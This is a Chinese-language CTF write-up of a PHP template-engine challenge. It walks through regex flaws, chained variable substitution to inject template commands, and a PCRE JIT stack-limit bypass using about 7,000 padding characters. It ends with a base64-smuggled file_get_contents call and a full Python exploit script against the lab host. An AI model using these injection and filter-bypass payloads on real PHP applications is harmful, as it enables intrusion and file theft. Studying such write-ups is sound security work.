功能不多，结构比较清晰，hello.php 为主入口点，template.php 为简单的模板渲染函数；

hello.tpl 为简单模板，支持两种格式：

```
{\ %name% /} # 获取并插入（替换）变量
{\ func('para'); unsafe /} # 执行简单函数
```

首先得搞清楚 template.php 里那一堆正则到底是啥情况。

绑定到模板的参数（通过 GET 获取）首先经过 `check_invalid_vars()` 的过滤：

```
function check_invalid_vars($vars)
{
  foreach ($vars as $key => $value)
    if (!is_string($value) || preg_match('/\{\\\\|\/\}|\';/', $value))
      return true;
  return false;
}
```

即不能含有 `{\` `/}` `'` `;` 这四种样式，过滤了模板标识，插入变量后的标识及简单函数执行标识。

模板处理主循环位于 `parse_template_string()` 处：

```
while (preg_match_all('/(\{\\\\.*?\/\})/is', $str, $matches))
{
  array_shift($matches);
  foreach ($matches as $cmd)
    $str = str_replace($cmd[0], command_handler($cmd[0], $vars, $funcs), $str);
}
```

可以发现这里存在一个关于 `preg_match_all()` 的返回值 `$matches` 的认识上的错误：`$matches[0]` 和 `$matches[1]` 才分别对应完整的、括号内的表达式数组，按照如上函数的写法只能获取到第一个非贪婪匹配 `\{ .*? /}` 的结果，实质上等同于 `preg_match()`，避免了前后方同时替换的情况。

来看处理简单模板命令的函数 `command_handler()`：

```
if (preg_match_all('/\%(.*)\%/is', $cmd, $matches))
{
  array_shift($matches);
  foreach ($matches as $var)
    $hdl = str_replace('%'.$var[0].'%', "'".get_var($var[0], $vars)."'", $hdl);
}
```

贪婪匹配 `% .* %` 作变量替换，并把替换后的结果用 `'` 包住，错误同上但并不重要。

```
else if (preg_match('/^\{\\\\\\s*?([a-z0-9_]+)\(\'([^\']*?)\'\);\\s*?(unsafe)?
\\s*?)\\s*?\/\}$/is', $cmd, $matches))
{
  [$func, $param] = [$matches[2], $matches[3]];
  if (!isset($matches[4]) && !in_array($func, $funcs) && preg_match('/(flag|[^flag0-1\-
\/\*])+/is', $param))
    die('access denied');
  $res = class_exists($func) ? new $func($param) : $func($param);
  $hdl = str_replace($matches[1], "'".$res."'", $hdl);
}
```

可以发现这里是重头戏，匹配类似 `^{\ func('para'); unsafe /}$` 这样的格式作简单函数执行，要点有：必须以模板标识起头结尾、仅有一个参数且必须用单引号括起、紧跟一个分号；如果有 unsafe 标识则位于分号之后。

```
if ($hdl != $cmd)
  return $hdl;
if (!preg_match('/^\{\\\\(\\s*?(\'[^\']*?\')*?\\s*?)*\/\}$/is', $cmd))
  return 'undefined';
return str_replace(array("'", '{\\', '/}'), array('', '', ''), $cmd);
```

当没有改动发生时，认为该部分模板已渲染完毕，检查模板标识内的单引号是否将所有字符都括起，最后删去单引号及模板标识并返回。

分析完毕，目标很明确：利用简单函数执行功能 getflag；由于分号无法被人工引入，为此只能尝试**污染已有的** `get_lucky_number()` 为任意函数。

1. **模板标识的再构造。**倘若一直被拘束在原有的模板标识里，事情是进展不下去的，为此需要插入新的模板标识；比较直接的 `{\ /}` 已被过滤，但注意到变量的标识符 `% %` 依然可以使用，且单引号最终都会被删去，于是采用**拆分的转移方式**：`S→'{A' ; A→'\B'` 即（`S→'{'\'B'''`）。体现在题目环境中即为 `n0={%n1% ; n1=\%n2% ; n2=...`。
2. **绕过** `str_replace()`。注意到处理函数的末尾不仅删去了单引号，还删去了头尾的模板标识；倘若直接按 1. 的方法构造，也无法存留。那么这里就是一个简单的绕过：同样的方法改为 `{{\\` 即可。
3. **控制单引号对齐。**注意到处理函数末尾检查了模板标识内的单引号是否将所有字符都括起，而直接按照 1. 的方法构造，会产生诸如 `'{'\'B'''` 的字符串，按照非贪婪模式匹配，则有其中的 `\` 未被括起，处理函数返回 undefined。应对措施也很简单：制造一对空单引号（**等价替换**）即可；也就是将 `\B` 替换为 `\B` 使其变为 `'\B'`，此时的单引号便对齐了。体现在题目环境中即为 `n0={%n1% ; n1=%n2% ; n2=\%n3% ; n3=...`。
4. **跨越距离的** `% %`。至此，已经能在 hello.tpl 的两处 `%name%` 构造出新的模板标识了；目标是替换第二处的 `get_lucky_number()`，且模板处理从第一处开始。可谓说制造出新的模板（开始）标识就是为此：将第二处的 `% %` 纳入第一处的支配范围。正则是从左往右匹配的，如果此时第一处变为 `{\ %`，那么它将与第二处的后一个 `%` **形成匹配**（因为是贪婪的），形成一个包含换行、空格等字符的变量，其仍可被替换。可以想到，hello.php 中的 `json_decode()` 即是为此存在；用 $_GET 的话空格便无法表示。
5. **结束。**至此，已经构造出了符合简单模板命令调用样式的表达式。

下面是以题目环境为基准的表达式替换过程：

1. `Hello, {\ %name% /}`
2. `Hello, {\ '{{%n1%' /}`
3. `Hello, {\ '{{'%n2%'' /}`

4. `Hello, {\ '{{''\\%n3%''' /}`
5. `Hello, {\ '{{''\\'%n4%'''' /}`
6. `Hello, {\ '{{''\\''phpinfo(%''''' /}`
7. `Hello, {\phpinfo(% \nYour lucky number today: {\ get_lucky_number(%name%); /}`
8. `Hello, {\phpinfo('-1'); /}`

以及先行版 payload：

```
{"name": "{{%n1%", "n1": "%n2%", "n2": "\\\\%n3%", "n3": "%n4%", "n4": "phpinfo(%", "
</b></p>\n<p>Your lucky number today: <b>{\\ get_lucky_number(%name": "-1"}
```

由此观察 `phpinfo()` 的各种信息，发现是 PHP 8.2 且 disable_functions 巨长，基本无法 getshell。

下面这个过滤也很烦人。题目环境中 hello.tpl 无自带 unsafe 参数，且无法通过 `% %` 替换被添加进去；最后那个正则更是丧心病狂，只有 f l a g 0 1 - / * 这寥寥无几的字符可以通行。

```
if (!isset($matches[4]) && !in_array($func, $funcs) && preg_match('/(flag|[^flag0-1\-
\/\*])+/is', $param))
    die('access denied');
```

注意到按照题目的写法，除了函数，PHP 的**原生类**也是可以执行的；先用 `GlobIterator` 探探目录：

```
GlobIterator('/*fla*')
<p>Hello, <b> H1y~Im_43r1_yOUr<<<flag>>>! </b></p>
```

一下子就找到 flag 了。但如何读取它才是问题，无论 `readfile()` ; `file_get_contents()` 还是 `SplFileObject` 都需要提供完整的文件路径，而这个参数被正则控制得死死的。

在束手无策的同时也注意到这个正则采用了一种比较少见的写法 `(...|[...])+`，一般来说会写成 `(...|[...]+)`，那这俩有什么区别？

还是涉及到 PHP7.0+ pcre.jit（默认开启）的一个**设计缺陷**（Bug#70110）：在进行 `(A|B)+` 或 `(A{1,2}B)*` 这样的匹配时，仅需 1w 个左右的 `AB` 就可使 `preg_match()` 返回错误；不同于基本上需要 100w 个字符的 `PREG_BACKTRACK_LIMIT_ERROR`，返回的是 `PREG_JIT_STACKLIMIT_ERROR`，即在**编译 JIT 时栈溢出**（超过 PHP 默认值 32K）。原理大概可以认为是 JIT 在编译括号时需要反复进行压栈操作以回溯中间的"或"，成功匹配太多次后造成溢出。

那么对于题目环境的 `/(flag|[^flag0-1\-\/\*])+/is`，很简单，随意往参数前面扔 **7k 个不合法字符**即可让 `preg_match()` 返回 `FALSE`，绕过成功；且刚好不超过 8KB 的 GET 限制。

但到这里还没有结束，至此字符串长度超过了 4KB，作为路径是不合法的，自然也无法读取到文件。

此时只能另辟蹊径，注意到命令执行完后也只是把结果替换进模板字符串里，跟变量替换如出一辙，存在操纵空间；于是可以通过闭合前面的模板标识来新增一条**含 unsafe 参数**的简单命令执行语句。

提交的参数不能含分号，但函数执行后的结果可以，于是用 `base64_decode()` 之类的包装一下即可：（在前面添加一堆非法字符 `=` 也不会影响 `base64_decode()` 的结果）

```
$injection = "/}{\\file_get_contents('/H1y~Im_43r1_yOUr<<<flag>>>!');unsafe/}";
$func = 'base64_decode'; $cmd = str_repeat('=',7000).base64_encode($injection);
// will execute $func($cmd)
```

至此，终于可以安心地获得本题的 flag 了，以下为 payload：

```
import base64,requests
url = 'http://web:8080/hello.php?'
#func = 'GlobIterator'; cmd = '/*fla*'
inj = '/}{\\file_get_contents(\'/H1y~Im_43r1_yOUr<<<flag>>>!\');unsafe/}'
func = 'base64_decode'; cmd = '='*7000 + base64.b64encode(inj.encode()).decode()
print(f"{func}('{cmd}')")
cmd = '{"name": "{{%n1%", "n1": "%n2%", "n2": "\\\\\\\\\%n3%", "n3": "%n4%", "n4":
"'+func+'(%", " </b></p3>\\n<p>Your lucky number today: <b>{\\\\
get_lucky_number(%name": "'+cmd+'"}'
res = requests.get(url, params=cmd)
print(res.text)
```